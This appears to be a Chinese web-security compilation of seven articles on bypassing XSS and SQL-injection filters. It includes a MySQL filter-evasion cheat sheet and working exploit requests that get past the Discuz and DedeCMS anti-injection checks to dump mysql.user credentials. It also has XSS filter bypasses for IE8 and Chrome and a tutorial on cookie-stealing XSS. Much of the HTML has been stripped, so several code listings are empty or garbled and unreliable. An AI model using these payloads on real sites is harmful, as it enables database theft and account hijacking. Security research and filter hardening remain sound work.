360webscan 0.1.1.9 XSS防御绕过脚本安全
“小蛮声”通过精心收集,向本站投稿了7篇360webscan 0.1.1.9 XSS防御绕过脚本安全,以下是小编精心整理后的360webscan 0.1.1.9 XSS防御绕过脚本安全,供大家参考借鉴,希望可以帮助到有需要的朋友。
篇1:360webscan 0.1.1.9 XSS防御绕过脚本安全
简要描述:
防御正则存在严重缺陷
详细说明:
先来一段你们防御XSS+SQLi的正则:
$getfilter = “<[^>]*?=[^>]*?&^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\”\\d]+?=[\\(\\)'\“\\d]+?|[\\(\\)'\”a-zA-Z]+?=[\\(\\)'\“a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\”'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)“;
存在的问题大致可以分为两类:
第一,onerror,onmousemove,onload.onclick,onmouseover作为属性出现在没有闭合的标签内时,不会被拦截,
360webscan 0.1.1.9 XSS防御绕过脚本安全
,
但是这种没有闭合的标签都会被后面的标签所闭合,导致可以植入恶意代码。比如说:
第二,过滤关键字alert(),confirm(),prompt()和expression()从某种意义上说是可以拦截一部分扫描工具的检测,但是没有实际意义。举个简单的bypass例子:
这种关键字完全是可以拆分的,即使实在GPC开启的情况下也没有办法拦截,因为单双引号都有完美的替代品就是//.souce
漏洞证明:
篇2:waf绕过:mysql注入waf绕过技巧脚本安全
This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).
Basic filter
Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
‘ or 1=1;%00
‘ or 1=1 union select 1,2 as `
‘ or#newline
1=’1
‘ or– -newline
1=’1
‘ /*!50000or*/1=’1
‘ /*!or*/1=’1
Prefixes
+ – ~ !
‘ or –+2=- -!!!’2
Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′
Strings without quotes
‘abc’ = 0×616263
Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true
Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users
Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users
Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filter
General function filtering
ascii (97)
load_file/*foo*/(0×616263)
Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Mondaydayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs
Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:””&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\
Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36
@@new: 0
@@log_bin: 1
!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4
minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)
Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))
Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)
Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))
Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))
String length
length()
bit_length()
char_length()
octet_length()
bit_count()
String caseucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filter
Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`
OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’
OR, AND, UNION
‘ and (select pass from users limit 1)=’secret
OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a
OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt
OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#
Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)
If you have any other useful tricks I forgot to list here please leave a comment.
篇3:一些与XSS相关的控制与绕过脚本安全
一,一点XSS知识开头:
不用圆括号:
1onerror=alert;throw 1;
2onerror=eval;throw'=alert\x281\x29';
二,表单中按钮覆盖form的action
challenge.hackvertor.co.uk/test.php?x=123
1
2
3
4123 test
5
formaction 属性覆盖 form. 元素的 action 属性,
所以
challenge.hackvertor.co.uk/test.php?x=
1
2
3
4
5
可以看出在只控制input属性时,还是可以更改整个form的action属性的。而且结果竟然还是www.google.com.hk/?x=+test
显然还把x作为了form的一部分,值为 test总结:按钮的formaction属性可以更改form的action属性。
三,利用同页面的标签控制iframe.
”>
这段代码说明在iframe外通过标签来控制同界面的Click me
1
2
3
4Click me test
5
点击”Clieck me”即可使iframe加载新内容,
总结:利用标签的target属性,使其控制指定的iframe.
四,绕过Chrome 谷歌浏览器的XSS检测 示例:
challenge.hackvertor.co.uk/test.php?x=%3Ca%20href=%22javascript.:alert(1);%E2%80%A8–%3E
源码:
1
2
3
4 test
5
challenge.hackvertor.co.uk/test.php?x=%3Ciframe%20src=%22javascript.:alert(1)%E2%80%A8–%3E
1
2
3
4
5
可以看到这源码中是有%A8这特殊字符的,再加上–>(HTML的注释),即可绕过。(24.0.1312.52 下测试通过,最新版已修补)
篇4:几种通用防注入程序绕过方法脚本安全
0x00 前言
目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法,
0x01 Discuz x2.0防注入
防注入原理
这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。
漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示
function getGoods($id){ $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id); $goods = DB::fetch($query); $goods['endtime2'] = date('Y-m-d',$goods['endtime']); $goods['price2'] = $goods['price']; if($goods['sort'] ==2){ $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']); $query = DB::query(”select * from “.DB::table('v63_pm').” where gid='$goods[id]' order by id desc “); $last = DB::fetch($query); if(is_array($last)){ $goods['price'] = $last['chujia']; $goods['uid'] = $last['uid']; $goods['username'] = $last['username']; $goods['pm'] = $last; if(time+600>$goods['endtime']){ $goods['endtime'] = $last[time]+600; $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600); } } } return $goods;}
触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示: 
下面可以构造如下请求触发漏洞了,如图所示: 
不过程序内置了一个_do_query_safe函数用来防注入,如图所示 
这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

因为我们的url中出现了union select,所以会被过滤掉。
绕过方法
这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:
localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示
 此时$clean值,如图所示 
此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: 
0x02 Discuz X2.5防注入
防注入原理
Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示 
这里$_config['security']['querysafe']['afullnote'] 默认被设置为0,重点关注这一点。
这里跟踪一下失败的原因,如图所示: 
此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示: 
其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:
 因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  
所以注入失败。
绕过方法
在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'放入sql语句当中,帮助我们绕过防注入程序检查。
这里利用如下方式绕过_do_query_safe函数过滤,如下所示:
localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
这里跟踪一下执行的过程,如图所示:
 这里有一个if判断,重点看这句
$clean = preg_replace(”/'(.+?)'/s“, '', $sql);
它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用
@`'` union select @`'`
这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示: 
这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示: 
不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下: 
加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace(”/'(.+?)'/s“, '', $sql);}
这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:
localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
这里我引入了`'`用来隐藏第一个@字符,并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示: 
可以看到$clean变为
select * from pre_v63_goods where `id` =``
成功绕过补丁,如图所示:
 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。
0x03 DedeCMS防注入
防注入原理
这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。
漏洞存在于/plus/feedback.php中的第244行,代码如下所示
if($comtype == 'comments') { $arctitle = addslashes($title); 0id = intval(0id); $ischeck = intval($ischeck); $feedbacktype = preg_replace(”#[^0-9a-z]#i“, ”“, $feedbacktype); if($msg!='') { $inquery = ”INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); “; $rs = $dsql->ExecuteNoneQuery($inquery); if(!$rs) { ShowMsg(' 发表评论错误! ', '-1'); //echo $dsql->GetError(); exit(); } } } //引用回复 elseif ($comtype == 'reply') { $row = $dsql->GetOne(”SELECT * FROM `#@__feedback` WHERE id ='$fid'“); $arctitle = $row['arctitle']; $aid =$row['aid']; $msg = $quotemsg.$msg; $msg = HtmlReplace($msg, 2); $inquery = ”INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')“; $dsql->ExecuteNoneQuery($inquery); }
这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示
$row = $dsql->GetOne(”SELECT * FROM `#@__feedback` WHERE id ='$fid'“);$arctitle = $row['arctitle'];
这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,
$inquery = ”INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')“;
这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。
但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。
绕过方法
众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:
function CheckSql($db_string,$querytype='select') { global $cfg_cookie_encode; $clean = ''; $error=''; $old_pos = 0; $pos = -1; $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt'; $userIP = GetIP(); $getUrl = GetCurUrl(); //如果是普通查询语句,直接过滤一些特殊语法 if($querytype=='select') { $notallow1 = ”[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}“; //$notallow2 = ”--|/\*“; if(preg_match(”/“.$notallow1.”/i“, $db_string)) { fputs(fopen($log_file,'a+'),”$userIP||$getUrl||$db_string||SelectBreak\r\n“); exit(”Safe Alert: Request Error step 1 !“); } } //完整的SQL检查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 >$pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些 使用它,所以检查它 if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=”union detect“; } //发布版本的程序可能比较少包括--,#这样的注释,但是 经常使用它们 elseif (strpos($clean, '/*') >2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error=”comment detect“; } //这些函数不会被使用,但是 会用它来操作文件,down掉数据库 elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=”slown down detect“; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=”slown down detect“; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=”file fun detect“; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = TRUE; $error=”file fun detect“; } //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是 可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = TRUE; $error=”sub select detect“; } if (!empty($fail)) { fputs(fopen($log_file,'a+'),”$userIP||$getUrl||$db_string||$error\r\n“); exit(”Safe Alert: Request Error step 2!“); } else { return $db_string; } }
但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测,
这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码,如图所示 
如下SQL语句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替换为了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字符串中没有任何敏感字,成功绕过CheckSql()函数检测。
POST如下请求给feedback.php,如下所示:
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟踪代码,实际执行的SQL语句跟踪变量如下所示: 
入数据库中的内容,如图所示: 
下面再POST如下内容给feedback.php,
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
跟踪一下这里执行的SQL语句,如图所示 
所以select user()执行了,并且可以作为msg字段输出。
0x04 总结
在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。
篇5:IE8 xss filter bypass (xss过滤器绕过)脚本安全
1. 在IE8中,可以通过 IE8 xss filter bypass (xss过滤器绕过)脚本安全
在测试过程中发现,
也就是说。下面的代码都可以运行JS代码。
01
02
03
04
”x“
>x
05
namespace
prefix=
”t“
>
06
namespace
=
”t“
implementation=
”#default#time2“
>
07
”innerHTML“
targetElement=
”x“
to=
”“
>
08
09
10
11
12
13
14
15
”x“
>x
16
namespace
prefix=
”t“
>
17
namespace
=
”t“
implementation=
”#default#time2“
>
18
”innerHTML“
targetElement=
”x“
to=
”“
>
19
20
21
2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter
测试例子如下:
1
xsst.sinaapp.com/example/1-1.php?page=x
如果用
3. 当然,上面这个代码,只适用于 {输出在这里} 的情况。
我们经常会遇到类似 的情况。
这样一来,我们需要在代码前面加上 “>来闭合HTML属性。
但是问题来啦, “>会触发XSS过滤器,过滤掉我们代码中的敏感词。
这样一来,我们上面的代码可以进一步通用化。
www.myhack58.com/product.php?search=”id=>x
1
www.xxxx.com/product.php?search=“id=>x
4. 至于具体怎么利用,恩,大家自己看着办。
4. 至于具体怎么利用,恩,大家自己看着办。
编辑点评:虽然这只是IE8的xss,但是读者可以通过思路延伸,研究下如何绕IE9或者其他浏览器,毕竟用IE8的人还是很多的。更多的饶过xss限制的方法可以参考《跨站测试与利用中的绕过技术》文章。
篇6:跨站脚本攻击和防御指向
原文:milw0rm.com
作者:Xylitol
翻译:老臧
首发:lovelaozang.cn
摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造一个cookie攻击
4>保护XSS
5>笨方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 1 - 什么是XSS? :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案, 这次袭击使内容(脚本) ,在无特权区被执行与权
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击
用命令攻击要有如下两个步骤:
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
些恶意操作.
当这个攻击完成后,将有恶意软件(像蠕虫远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 2 - XSS脚本攻击 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
新建一个文本文档,把下面的代码放进:
transitional.dtd”>
Simple XSS vulnerability by Xylitol
Search:
然后,把这个页面保存为index.html
再新建一个文本文档,把下面的代码放进去:
transitional.dtd”>
Search result :
把文件另存为XSS.php
关闭记事本
在firefox里面打开index.html
输入一个值然后点search
返回页面输入
发送表单
弹出一个对话框
_______________________________________
/ 127.0.0.1 dit: X
|________________________________________|
| |
| |
| ^ |
| / |
| / | XSS |
| / . |
| ――- |
| ______ |
| | OK | |
| ―― |
|________________________________________|
XSS攻击这时产生了…
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 3 - 制造一个cookie攻击 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
把这段代码插入到一个易受攻击的页面(如:留言板)
(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
transitional.dtd”>
Error-Access deniedfor
这对于攻击者还不够,等着还不如接收电子邮件,
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 4 - 保护XSS :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
修补漏洞:
为修复XSS漏洞使用htmlentities
在第16行放置
Search result :
By:
Search result :
if(isset($_POST[Vulnerability])) { echo htmlentities($_POST[Vulnerability]); } ?>
use htmlspecialchars function in PHP
other function:
htmlentities() quotes
strip_tags()
…
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 5 - 笨方法 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
利用image:
利用flash:
重定向:
还有:
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 6 - 过滤绕过 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
事实上也不是那么简单就能绕过 htmlspecialchars()
这里有一些关于绕过xss的例子:
‘”>>
‘”>>
‘>>
“>
style=”x
篇7:也谈跨站脚本攻击与防御脚本安全
网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路,
还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:
恶意用户的Html输入――――>web程序――――>进入数据库――――>web程序――――>用户浏览器
这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!
1 什么是HTml输入?
这里给出一个HTml代码的示例
很多的程序最终都是将用户的输入转换成这种形式的。可以看到是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括很多元素的,并不是传统意义上的只有输入才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是么?
2 哪里才是罪恶的来源?
既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入HTml代码吧!如果用户可以不受限制的引入,那么很显然他可以完全操纵一个Html标记,譬如这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是,通过如下代码:
过滤代码:
replace(str,”<“,”<“)
replace(str,”>“,”>“)
好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:
因为很多的Html标记里属性都支持javascript.:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:
过滤代码
Dim re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern=”javascript.:“
Str = re.replace(Str,”javascript:“)
re.Pattern=”jscript.:“
Str = re.replace(Str,”jscript:“)
re.Pattern=”vbscript.:“
Str = re.replace(Str,”vbscript:“)
set re=nothing
